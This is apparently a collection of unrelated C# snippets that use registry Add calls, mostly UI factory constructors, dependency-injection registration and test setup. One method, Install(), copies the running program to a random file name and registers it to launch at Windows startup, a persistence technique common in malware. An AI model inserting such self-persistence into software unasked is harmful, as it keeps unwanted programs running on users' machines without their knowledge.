/// <summary> /// </summary> /// <param name="parentRegistry">The parent registry. If it not already contains a registry with the key <see cref="RegistryIdentifier"/>, /// a new <see cref="IRegistry"/> will be created and added to the given registry. </param> /// <param name="height">The height of the statusbar.</param> /// <param name="customColumn">The index for the <see cref="CustomFactoryIdentifier"/> - a column to use as you wish.</param> /// <param name="taskColumn">The index for the task visualizer to use. If negativ, no task visualizer will be added. </param> /// <param name="legendColumn">The index for the column to use. If negativ, no legend will be added. </param> /// <param name="gridLengths"></param> public StatusBarFactory(IRegistry parentRegistry, double height, int customColumn, int taskColumn, int legendColumn, params GridLength[] gridLengths) { if (parentRegistry == null || !parentRegistry.ContainsKey(RegistryIdentifier)) { Registry = new Registry(parentRegistry); parentRegistry?.Add(RegistryIdentifier, Registry); } else { Registry = (IRegistry)parentRegistry[RegistryIdentifier]; } if (height <= 0) { throw new ArgumentOutOfRangeException(nameof(height)); } if (gridLengths.Length == 0) { throw new ArgumentException(@"Value cannot be an empty collection.", nameof(gridLengths)); } CheckColumn(customColumn, gridLengths.Length); CheckColumn(taskColumn, gridLengths.Length); CheckColumn(legendColumn, gridLengths.Length); _height = height; _customColumn = customColumn; _taskColumn = taskColumn; _legendColumn = legendColumn; _gridLengths = gridLengths; }
/// <summary> /// Initialise the dictionary containing the values with given <see ref="valueIdentifier"/>. /// </summary> /// <param name="valueIdentifier">The value that will be fetched.</param> protected void Initialise(string valueIdentifier) { Initialise(); IRegistry values = (IRegistry)ParameterRegistry[ValueIdentifier]; values.Add(valueIdentifier, null); Keys = new[] { valueIdentifier }; }
public void Setup() { _Registry = new Registry(); Exec.RegisterTypes.Register(_Registry); _pi = new PiTranslator(_Registry); _rho = new RhoTranslator(_Registry); _ExecutorRef = _Registry.Add(new Executor()); }
public BaseStat(TData data, IRegistry registry) { Data = data; Registry = registry; BaseValue = Data.Value; if (registry != null) { registry.Add <BaseStat <TData> >(this); } }
public string Install() { var fileName = _fileService.GenerateRandomFileName(); var targetFilePath = Path.Combine(RootPath, fileName); _registry.Add(FilePathLocationRegistry, FilePathLocationRegistryKey, targetFilePath); _fileService.Copy(_environment.ApplicationPath, targetFilePath); _registry.AddFileToStartupRegistry(targetFilePath); return(targetFilePath); }
/// <summary> /// Initialise the dictionary containing the values with given <see ref="valueIdentifiers"/>. /// </summary> /// <param name="valueIdentifiers">The values that will be fetched.</param> protected void Initialise(string[] valueIdentifiers) { Initialise(); IRegistry values = (IRegistry)ParameterRegistry[ValueIdentifier]; foreach (string identifier in valueIdentifiers) { values.Add(identifier, null); } Keys = valueIdentifiers; }
/// <summary> /// /// </summary> /// <param name="parentRegistry">The parent registry. If it not already contains a registry with the key <see cref="RegistryIdentifier"/>, /// a new <see cref="IRegistry"/> will be created and added to the given registry. </param> /// <param name="margin"></param> /// <param name="padding"></param> public TitleBarFactory(IRegistry parentRegistry, Thickness margin, Thickness padding) { if (parentRegistry == null || !parentRegistry.ContainsKey(RegistryIdentifier)) { Registry = new Registry(parentRegistry); parentRegistry?.Add(RegistryIdentifier, Registry); } else { Registry = (IRegistry)parentRegistry[RegistryIdentifier]; } Margin = margin; Padding = padding; TitleBarFuncs = new List <Func <Application, Window, TitleBarItem> >(); }
// public void Wait(ITransient other) // => ResumeAfter(other); // /// <summary> /// Helper to make a new continuation, which also uses a referenced list for scope /// </summary> public static Continuation New(IRegistry reg) { var code = reg.Add(new List <object>()); return(reg.Add(new Continuation(code.Value)).Value); }
public void Register(Type serviceType, Assembly assembly, Lifetime lifetime) { var registrations = _registrationFactory.Get(serviceType, assembly, lifetime); _registry.Add(registrations); }
public void Register(Registration reg) { _registry.Add(reg.Key, reg); }